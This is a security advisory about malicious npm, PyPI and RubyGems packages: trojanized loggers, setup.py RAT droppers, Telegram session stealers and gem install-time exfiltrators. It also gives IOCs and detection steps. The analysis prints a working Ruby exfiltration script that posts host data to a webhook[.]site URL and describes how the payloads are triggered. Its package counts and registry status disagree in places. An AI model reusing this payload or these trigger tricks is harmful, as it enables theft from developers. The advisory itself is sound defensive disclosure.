critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-829

Affected Surface

  • npm `pino-std` (`7.2.0`, `GHSA-cc98-qqxc-x7r6`), `@k.vict1999/pino-std-serializers` (`7.2.0`, `GHSA-g56j-96r8-x96p`), `loader-utils-kit` (`4.2.1`, `4.3.5`, `GHSA-2hvh-9r5r-6xj3`), `solidity-gas-watcher` (`2.21.0`, `GHSA-rgfv-cv82-ppcm`), `solidity-map` (`2.21.0`, `GHSA-95qc-c4xp-j95w`), `solidity-cat` (`2.0.1`, `GHSA-93r8-wfvq-vpvg`), `synapse-hub` (`3.1.0`, `3.1.1`, `3.1.2`, `3.2.0`, `GHSA-q7g7-jwp5-cvgh`), `dsh-purge` (`1.2.1`, `GHSA-w7xp-2vj9-g24m`), `nminer` (`3.0.0`, `GHSA-hvrq-7pvp-2573`), `@gemshell/win32-x64` (`1.2.1`, `GHSA-fq5g-5qrm-crjh`), `talk-lang` (`GHSA-3x5r-f82m-84w9`), `plain-lang` (`GHSA-28wv-5h54-vmjx`), `@db-tools/main-app` (`GHSA-fwf6-6x3c-6g3h`), `itc-actors-api` (`GHSA-w2fv-53fr-6qwg`), `@nuri.yavuz.tr.2/my-unique-pinger` (`1.0.2`, `GHSA-w25j-c6g4-mhwq`), `sickle-wrapper` (`GHSA-f64g-9rx5-4jxf`), and `vfat-tools` (`GHSA-jxh5-v495-r962`)
  • PyPI `filipt` (`0.1.0`..`0.1.5`, `GHSA-687f-xhmq-5mwg`, plus npm `filipt` `GHSA-56fp-mx7r-63x8`), `zyto` (`0.2.0`..`0.2.3`, `GHSA-385c-v792-v6cc`), `ln9qw38745g` (`0.1.0`..`0.1.1`, `GHSA-84q6-4jcj-8f37`), and `protecteda` (`0.1.0`, `GHSA-g7mf-6mcc-62hq`)
  • PyPI `extera-plugin-runtime` (`1.0.0`, `1.0.1`, `GHSA-qmc5-36rh-cwj4`), `extera-runtime` (`1.1.0`, `GHSA-f44g-4vc7-5crw`), `teamviewer-mcp-server` (`0.0.1`, `GHSA-v98v-h2h9-7j3h`), `mcp-teamviewer` (`0.0.1`, `GHSA-w2mh-fxh2-j425`), `dbt-adapter` (`0.0.0`, `0.1.0a2`, `GHSA-jcpx-v43r-522m`), `strands-aidr` (`9999.0.0`, `GHSA-5rm4-gf65-6756`), `rcp-ndcg` (`9999.0.0`, `GHSA-2f6v-p6wj-6gq4`), and `msgpackrpc` (`0.0.0`, `0.1.0`, `GHSA-q7gh-hf5c-wm2g`)
  • RubyGems `w002yardprobe` (`0.0.4`, `0.0.5`, `GHSA-cv4q-gcjm-77v8`, still live on `rubygems.org`), `brida-frida-hooks` (`1.0.1`, `GHSA-vqw2-j6mj-82hq`), and four still-live `extensions` Rakefile exfiltration gems disclosed by Aikido Security (`xmastree@0.0.2` / `0.0.1`, `ancient-city-ruby@2013.1`, `hacky@0.0.2`, and `et_phone_home@0.1.0`)

Update, 6 November 2026: On 5 and 6 November 2026, Aikido Security published an investigation into RubyGems’ two default install-time and command-time execution vectors (gemspec extensions such as extconf.rb, mkrf_conf.rb, Rakefile, CMakeLists.txt, and Cargo.toml, and lib/rubygems_plugin.rb, which RubyGems copies into its global plugins directory at the end of gem install and executes on every subsequent gem command, including read-only gem list, gem search, and gem -v) and disclosed four data-exfiltrating gems still live on rubygems.org as of 6 November 2026:

  • xmastree@0.0.2 (0.0.1 requires manual rake): Executes a Rakefile via extensions during gem install, sending whoami output via HTTP POST to hxxp://cryptic-ocean-8847[.]herokuapp[.]com/usernames.
  • ancient-city-ruby@2013.1: Executes a Rakefile via extensions, POSTing whoami output to hxxp://stark-samurai-8122[.]herokuapp[.]com/logs before deleting itself.
  • hacky@0.0.2: Executes a Rakefile via extensions that takes a silent macOS screenshot and uploads it to hxxp://appfolio[.]herokuapp[.]com/upload before deleting the screenshot and the Rakefile.
  • et_phone_home@0.1.0: Executes a Rakefile via extensions that sends an HTTP GET beacon to hxxp://176[.]31[.]142[.]25/ruby_no_way_you_got_here_randomly.
  • Why gem list is unsafe during triage and how to disable install hooks in RubyGems 4.1.0.beta3: Because any installed rubygems_plugin.rb runs on gem list, inspect installed gems and plugin directories directly with ruby -e 'Gem.path.each { |p| puts Dir.glob("#{p}/gems/*"); puts Gem.plugindir(p) }' rather than gem list. Stable RubyGems/Bundler 4.0.23 has no flag to disable extension builds or plugin installation; only RubyGems/Bundler 4.1.0.beta3 (gem update --system 4.1.0.beta3) adds opt-out --no-build-extension --no-install-plugin (BUNDLE_NO_BUILD_EXTENSION=true and BUNDLE_NO_INSTALL_PLUGIN=true).
  • Eight additional npm malware takedowns published late 5 November to early 6 November (21:57 to 05:43 UTC): GitHub Advisory Database and OpenSSF also flagged @gemshell/win32-x64@1.2.1 (GHSA-fq5g-5qrm-crjh, trojanized platform binary package unpublished on 5 November), @nuri.yavuz.tr.2/my-unique-pinger@1.0.2 (GHSA-w25j-c6g4-mhwq), talk-lang (GHSA-3x5r-f82m-84w9), plain-lang (GHSA-28wv-5h54-vmjx), @db-tools/main-app (GHSA-fwf6-6x3c-6g3h), itc-actors-api (GHSA-w2fv-53fr-6qwg), sickle-wrapper (GHSA-f64g-9rx5-4jxf), and vfat-tools (GHSA-jxh5-v495-r962, Web3 DeFi farming tool impersonator).

TL;DR

Between 3 November (21:31 UTC) and 5 November 2026 (17:03 UTC), the GitHub Advisory Database, Kamil Mańkowski’s bad-packages tracker, Amazon Inspector, and OpenSSF published advisories for four distinct malicious-package clusters across npm, PyPI, and RubyGems:

  1. Trojanized pino logger and Solidity/Hardhat npm packages (pino-std, @k.vict1999/pino-std-serializers, loader-utils-kit, solidity-gas-watcher, solidity-map, and solidity-cat), plus synapse-hub, dsh-purge, and nminer: Published to the GitHub Advisory Database on 5 November (06:34 UTC), all six pino and Solidity packages disguise themselves as logging, webpack loader, or Ethereum smart-contract gas utilities while bundling a full copy of the pino logger modified to require an extra obfuscated dropper module (lib/contract.js, lib/config.js, or lib/tools.js) at module load time. Separately on 4 and 5 November, malicious versions were injected into synapse-hub (3.1.0, 3.1.1, 3.1.2, 3.2.0, GHSA-q7g7-jwp5-cvgh), dsh-purge (1.2.1, GHSA-w7xp-2vj9-g24m), and nminer (3.0.0, GHSA-hvrq-7pvp-2573).
  2. PyPI wheel-build Overlord RAT and infostealer droppers (filipt, zyto, ln9qw38745g, and protecteda): Analyzed on 3 and 4 November (GHSA-687f-xhmq-5mwg, GHSA-385c-v792-v6cc, GHSA-84q6-4jcj-8f37, and GHSA-g7mf-6mcc-62hq), this campaign overrides setup.py installation hooks (or __main__ execution in protecteda) to launch an embedded binary during pip install wheel building. In filipt (0.1.0 through 0.1.5), the embedded executable is Overlord RAT (sandbox report tria.ge/261103-xxcp9aez3r), after earlier versions used a benign binary to establish a clean release history before swapping in the RAT.
  3. PyPI extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0) Telegram session stealers, plus fake TeamViewer MCP servers (teamviewer-mcp-server, mcp-teamviewer) and dbt-adapter, strands-aidr, rcp-ndcg, and msgpackrpc: extera-plugin-runtime (GHSA-qmc5-36rh-cwj4) and extera-runtime (GHSA-f44g-4vc7-5crw) masquerade as runtime helpers for exteraGram plugins while containing remote command execution and file-exfiltration routines targeting local Telegram desktop data (tdata) and communicating with extera-plugins-updater[.]top. On 5 November (12:32 and 15:31 UTC), OpenSSF Package Analysis and kam193 flagged two trojanized PyPI MCP packages, teamviewer-mcp-server@0.0.1 (GHSA-v98v-h2h9-7j3h) and mcp-teamviewer@0.0.1 (GHSA-w2mh-fxh2-j425), which override setup.py install alongside dbt-adapter (0.0.0, 0.1.0a2), strands-aidr (9999.0.0), rcp-ndcg (9999.0.0), and msgpackrpc (0.0.0, 0.1.0) to exfiltrate host IP, username, and environment data.
  4. RubyGems .yardopts --load documentation-pipeline execution (w002yardprobe@0.0.4 / 0.0.5) and gem install native-extension exfiltration (brida-frida-hooks@1.0.1): Instead of using gemspec extensions, w002yardprobe (GHSA-cv4q-gcjm-77v8) ships a .yardopts file containing --load ./script.rb. Whenever a developer, CI pipeline, or hosted documentation service (such as RubyDoc.info) runs yard doc on the gem, YARD loads and executes script.rb, which exfiltrates host telemetry to webhook[.]site and mutates files inside /build. Meanwhile, brida-frida-hooks@1.0.1 (GHSA-vqw2-j6mj-82hq) uses ext/mkrf_conf.rb during gem install to exfiltrate /etc/passwd, /etc/hosts, and /etc/resolv.conf over a raw TLS TCPSocket.

What to do now: Audit npm, Python, and Ruby lockfiles and build caches for all 23 package names. On any Windows or Linux workstation or CI runner that installed pino-std, loader-utils-kit, solidity-gas-watcher, solidity-map, solidity-cat, synapse-hub (3.1.0..3.2.0), dsh-purge@1.2.1, nminer@3.0.0, filipt, zyto, ln9qw38745g, protecteda, extera-plugin-runtime, extera-runtime, teamviewer-mcp-server, or mcp-teamviewer, treat the host as compromised, isolate it, and rotate all reachable credentials, Ethereum/crypto wallet keys, and Telegram sessions.

Affected packages

EcosystemPackageGHSAMalicious versionsRegistry status (checked 5 Nov 2026)Payload / trigger
npmpino-stdGHSA-cc98-qqxc-x7r67.2.0Unpublished (0.0.0-stage & 7.2.0 removed)Trojanized pino logger loading obfuscated lib/contract.js on require()
npm@k.vict1999/pino-std-serializersGHSA-g56j-96r8-x96p7.2.0Removed (404 on registry.npmjs.org)Byte-identical lib/contract.js obfuscated loader (pino-testkit family)
npmloader-utils-kitGHSA-2hvh-9r5r-6xj34.2.1, 4.3.5Unpublished (4.2.1 & 4.3.5 removed)Byte-identical lib/contract.js obfuscated loader (pino-testkit family)
npmsolidity-gas-watcherGHSA-rgfv-cv82-ppcm2.21.0Unpublished (2.21.0 removed)Trojanized pino copy (index.js + lib/config.js dropper, hardhat-roof family)
npmsolidity-mapGHSA-95qc-c4xp-j95w2.21.0Unpublished (2.21.0 removed)Byte-identical index.js + lib/config.js dropper (hardhat-roof / chai-foundry family)
npmsolidity-catGHSA-93r8-wfvq-vpvg2.0.1Unpublished (2.0.1 removed)index.js + lib/tools.js execSync / axios stage-2 loader (hardhat-hold family)
npmsynapse-hub, dsh-purge, nminerGHSA-q7g7-jwp5-cvgh, GHSA-w7xp-2vj9-g24m, GHSA-hvrq-7pvp-25733.1.0, 3.1.1, 3.1.2, 3.2.0 (synapse-hub); 1.2.1 (dsh-purge); 3.0.0 (nminer)Malicious versions unpublished (synapse-hub <= 3.0.1 and nminer <= 2.3.0 remain live)Embedded malicious code (CWE-506) in hijacked/staged point releases
PyPI / npmfiliptGHSA-687f-xhmq-5mwg, GHSA-56fp-mx7r-63x8PyPI 0.1.0..0.1.5; npm >= 0Removed from PyPI and npmsetup.py wheel-build / install hook launching embedded Overlord RAT binary
PyPIzytoGHSA-385c-v792-v6cc0.2.0, 0.2.1, 0.2.2, 0.2.3Removed from PyPIsetup.py wheel-build / install hook executing embedded binary (2026-11-filipt cluster)
PyPIln9qw38745gGHSA-84q6-4jcj-8f370.1.0, 0.1.1Removed from PyPIsetup.py install hook executing embedded malware binary (2026-11-filipt cluster)
PyPIprotectedaGHSA-g7mf-6mcc-62hq0.1.0Removed from PyPIModule entry point executing embedded infostealer binary
PyPIextera-plugin-runtimeGHSA-qmc5-36rh-cwj41.0.0, 1.0.1Removed from PyPIRemote command execution and Telegram session file exfiltration (extera-plugins-updater[.]top)
PyPIextera-runtimeGHSA-f44g-4vc7-5crw1.1.0Removed from PyPIRemote command execution and Telegram session file exfiltration
PyPIteamviewer-mcp-server, mcp-teamviewerGHSA-v98v-h2h9-7j3h, GHSA-w2mh-fxh2-j4250.0.1 (both packages)Removed from PyPIFake TeamViewer MCP servers overriding setup.py install to exfiltrate host telemetry
PyPIdbt-adapter, strands-aidr, rcp-ndcg, msgpackrpcGHSA-jcpx-v43r-522m, GHSA-5rm4-gf65-6756, GHSA-2f6v-p6wj-6gq4, GHSA-q7gh-hf5c-wm2g0.0.0, 0.1.0a2 (dbt-adapter); 9999.0.0 (strands-aidr, rcp-ndcg); 0.0.0, 0.1.0 (msgpackrpc)Removed from PyPIsetup.py install override exfiltrating host IP, username, and environment data
RubyGemsw002yardprobeGHSA-cv4q-gcjm-77v80.0.4, 0.0.5Removed from RubyGems.yardopts --load ./script.rb executing on yard doc / RubyDoc generation
RubyGemsbrida-frida-hooksGHSA-vqw2-j6mj-82hq1.0.1Removed from RubyGemsgemspec ext/mkrf_conf.rb exfiltrating /etc/passwd, /etc/hosts, and /etc/resolv.conf on gem install

Technical analysis

1. Trojanized pino logger and Hardhat/Solidity npm droppers (GHSA-cc98-qqxc-x7r6, GHSA-rgfv-cv82-ppcm, and GHSA-93r8-wfvq-vpvg)

All six npm packages published in the 5 November advisory batch reuse three byte-identical payload templates from ongoing Web3 and Node.js typosquat campaigns:

  • The pino-testkit (lib/contract.js) template (pino-std@7.2.0, @k.vict1999/pino-std-serializers@7.2.0, and loader-utils-kit@4.2.1 / 4.3.5): Each package ships a working copy of the pino logger (matching pino’s 7.x version numbering so pino-std@7.2.0 blends into package.json diffs alongside pino and pino-std-serializers), but adds lib/contract.js (SHA-256: c6a9028513792f288fec1d7c217c55d9541d96d436cb119ef0553c3fd49d6c41), an obfuscated module required from the logger entry point that decodes and evaluates stage-2 JavaScript as soon as the package is imported.
  • The hardhat-roof (lib/config.js) and hardhat-hold (lib/tools.js) templates (solidity-gas-watcher@2.21.0, solidity-map@2.21.0, and solidity-cat@2.0.1): Targeting Ethereum and Solidity developers using Hardhat or Foundry, solidity-gas-watcher and solidity-map ship byte-identical index.js (SHA-256: 4e6c4e61a7019ab0affe9c2d20e36701b330ec357be205930355bac1464f9316) and lib/config.js (SHA-256: 7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb) files, while solidity-cat@2.0.1 ships index.js (SHA-256: 0d4838d9e98f1870b3c44eadb1d0fd94e71526004752160f9db4c7d065e63874) and lib/tools.js (SHA-256: 4e1c3058548619a9a3916869cd445d73563cbed527add4aca44067445d9c2df5), an obfuscator.io-wrapped loader that uses axios and child_process.execSync to fetch and execute a remote second stage.

2. PyPI filipt, zyto, ln9qw38745g, and protecteda Overlord RAT wheel-build droppers and extera-plugin-runtime

In the 2026-11-filipt PyPI cluster (filipt, zyto, ln9qw38745g, and protecteda), the attacker published source distributions (.tar.gz sdist archives without pre-built .whl files) so pip install is forced to execute setup.py locally to build a wheel:

  1. Bait-and-switch executable replacement across rapid point releases: As documented in Kamil Mańkowski’s analysis of zyto (0.2.0..0.2.3) and ln9qw38745g (0.1.0..0.1.1), the operator first publishes initial versions where setup.py launches an embedded benign or minimal executable during wheel build, then swaps the embedded binary in subsequent point releases (filipt 0.1.0..0.1.5) for Overlord RAT (or runs an embedded infostealer when invoked as a module in protecteda@0.1.0).
  2. Telegram desktop (tdata) theft in extera-plugin-runtime and extera-runtime: Both packages (GHSA-qmc5-36rh-cwj4 and GHSA-f44g-4vc7-5crw) defer execution until imported by an application or plugin, then connect to extera-plugins-updater[.]top to receive remote commands and exfiltrate local Telegram session files.

3. RubyGems w002yardprobe (GHSA-cv4q-gcjm-77v8) and brida-frida-hooks (GHSA-vqw2-j6mj-82hq)

The two RubyGems advisories illustrate two distinct execution surfaces in the Ruby ecosystem:

# 1. w002yardprobe (0.0.4, 0.0.5): .yardopts + script.rb (triggered by `yard doc`)
# .yardopts:
# --load ./script.rb
#
# script.rb (SHA-256: 1a9aaf4ada6ff1225a0c9066bcc9ba27f91ce8eaf928fcfed5e32939e21a4f89):
require "socket"
require "net/http"
require "uri"

Net::HTTP.post_form(
  URI("https://webhook[.]site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66"),
  {
    "host" => Socket.gethostname,
    "pwd"  => Dir.pwd,
    "uid"  => Process.uid.to_s,
    "ruby" => RUBY_VERSION
  }
)
# Also rewrites lib/w002yardprobe.rb (replacing MARKSLOT) and writes
# /build/W002SCRIPT_RAN.txt and /build/W002EGRESS_OK.txt

Because YARD’s .yardopts configuration file supports --load <file> (and -e <file>) to load custom Ruby plugins before parsing source comments, any documentation pipeline, IDE indexer, or hosted documentation service (such as rubydoc.info) that runs yard on an untrusted gem without --safe mode executes arbitrary Ruby code even if the gem is never installed via gem install or loaded via require.

By contrast, brida-frida-hooks@1.0.1 (GHSA-vqw2-j6mj-82hq) declares extensions = ["ext/mkrf_conf.rb"] (SHA-256: 4baeb968680755ee32092bff70514a250fb6a0850f4d2b4aced73be7cf97640c) in its gemspec, which RubyGems runs automatically during gem install / bundle install to read Dir.pwd, Dir.home, Socket.gethostname, Etc.getlogin, /etc/resolv.conf, /etc/passwd, and /etc/hosts and POST them over a raw TLS TCPSocket to bjyhowqsve7p6i4fflj14mly8pel2bq0[.]oastify[.]com:443.

Indicators of compromise (IOCs)

  • Defanged C2 and exfiltration endpoints:
    • extera-plugins-updater[.]top (extera-plugin-runtime, extera-runtime)
    • https://webhook[.]site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66 (w002yardprobe)
    • bjyhowqsve7p6i4fflj14mly8pel2bq0[.]oastify[.]com:443 (brida-frida-hooks)
  • File SHA-256 hashes:
    • c6a9028513792f288fec1d7c217c55d9541d96d436cb119ef0553c3fd49d6c41 (lib/contract.js in pino-std@7.2.0, @k.vict1999/pino-std-serializers@7.2.0, and loader-utils-kit@4.2.1 / 4.3.5)
    • 4e6c4e61a7019ab0affe9c2d20e36701b330ec357be205930355bac1464f9316 (index.js in solidity-gas-watcher@2.21.0 and solidity-map@2.21.0)
    • 7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb (lib/config.js in solidity-gas-watcher@2.21.0 and solidity-map@2.21.0)
    • 0d4838d9e98f1870b3c44eadb1d0fd94e71526004752160f9db4c7d065e63874 (index.js in solidity-cat@2.0.1)
    • 4e1c3058548619a9a3916869cd445d73563cbed527add4aca44067445d9c2df5 (lib/tools.js in solidity-cat@2.0.1)
    • e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38, 1a89eb45ed45780f16499b0f87ff3dd17db4be0988f7befbfa88224d83fccae2, c8ecde6b3840ab32ceace277f7fd1bfc63eb87344ab9147651e3c4c11dbbac93, f511eff8b0cec4854856e3686a3eded0decf5fa3b04d585f9f2e951b7d13c295 (filipt PyPI archives / Overlord RAT artifacts)
    • 2c92205c8a1ecbffe953de63a4308e7de19bff714f6b01a67f1780bd38f39794 (w002yardprobe-0.0.4.gem) and 1a9aaf4ada6ff1225a0c9066bcc9ba27f91ce8eaf928fcfed5e32939e21a4f89 (script.rb)
    • 1e8d10741693dd0bd6b50e5102cdc17891ce8f0e11ebb3fb1c08e388e0fc4f17 (brida-frida-hooks-1.0.1.gem) and 4baeb968680755ee32092bff70514a250fb6a0850f4d2b4aced73be7cf97640c (ext/mkrf_conf.rb)

Detection and remediation

# 1. Search npm, Python, and Ruby manifests and lockfiles for all 18 packages
rg -n '"(@k\.vict1999/pino-std-serializers|pino-std|loader-utils-kit|solidity-gas-watcher|solidity-map|solidity-cat|filipt)"' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null

pip show filipt zyto ln9qw38745g protecteda extera-plugin-runtime extera-runtime dbt-adapter strands-aidr rcp-ndcg msgpackrpc 2>/dev/null || true
rg -n '(filipt|zyto|ln9qw38745g|protecteda|extera-plugin-runtime|extera-runtime|dbt-adapter|strands-aidr|rcp-ndcg|msgpackrpc)' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null

gem list -i '^(w002yardprobe|brida-frida-hooks)$' 2>/dev/null || true
rg -n '(w002yardprobe|brida-frida-hooks)' Gemfile Gemfile.lock 2>/dev/null

# 2. Check for YARD --load directives in .yardopts files or sentinel files from w002yardprobe
rg -n '(--load|-e)\s' .yardopts **/.yardopts 2>/dev/null || true
ls -la /build/W002SCRIPT_RAN.txt /build/W002EGRESS_OK.txt 2>/dev/null || true
  1. Re-image hosts that built or ran the RAT / infostealer or Solidity/pino packages: If filipt, zyto, ln9qw38745g, protecteda, pino-std, @k.vict1999/pino-std-serializers, loader-utils-kit, solidity-gas-watcher, solidity-map, or solidity-cat was installed on a workstation or build runner, rebuild the environment from a clean image and rotate all local secrets, npm/PyPI tokens, cloud credentials, and cryptocurrency wallet private keys.
  2. Revoke active Telegram sessions if extera-plugin-runtime or extera-runtime was imported: In Telegram Settings > Devices (Active Sessions), terminate all other sessions immediately and enable Two-Step Verification.
  3. Pass --safe when running YARD on untrusted gems: If you run yard doc in CI or a documentation service, pass yard doc --safe so YARD ignores --load and -e directives in .yardopts.

Timeline

  • 2026-10-05 to 2026-10-22: solidity-gas-watcher@2.21.0, solidity-cat@2.0.1, solidity-map@2.21.0, loader-utils-kit@4.2.1 / 4.3.5, and pino-std@7.2.0 are published and subsequently unpublished on npm.
  • 2026-11-03 (21:31 UTC) to 2026-11-04 (18:30 UTC): Kamil Mańkowski (kam193), Amazon Inspector, and the GitHub Advisory Database publish advisories for filipt (GHSA-687f-xhmq-5mwg, GHSA-56fp-mx7r-63x8), zyto (GHSA-385c-v792-v6cc), ln9qw38745g (GHSA-84q6-4jcj-8f37), protecteda (GHSA-g7mf-6mcc-62hq), w002yardprobe (GHSA-cv4q-gcjm-77v8), brida-frida-hooks (GHSA-vqw2-j6mj-82hq), extera-plugin-runtime (GHSA-qmc5-36rh-cwj4), extera-runtime (GHSA-f44g-4vc7-5crw), and msgpackrpc (GHSA-q7gh-hf5c-wm2g).
  • 2026-11-05 (03:30 to 09:30 UTC): OpenSSF merges PR #1666 (aee7fb67) and GitHub publishes GHSA-cc98-qqxc-x7r6 (pino-std), GHSA-g56j-96r8-x96p (@k.vict1999/pino-std-serializers), GHSA-2hvh-9r5r-6xj3 (loader-utils-kit), GHSA-rgfv-cv82-ppcm (solidity-gas-watcher), GHSA-95qc-c4xp-j95w (solidity-map), GHSA-93r8-wfvq-vpvg (solidity-cat), GHSA-5rm4-gf65-6756 (strands-aidr), GHSA-2f6v-p6wj-6gq4 (rcp-ndcg), and GHSA-jcpx-v43r-522m (dbt-adapter).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References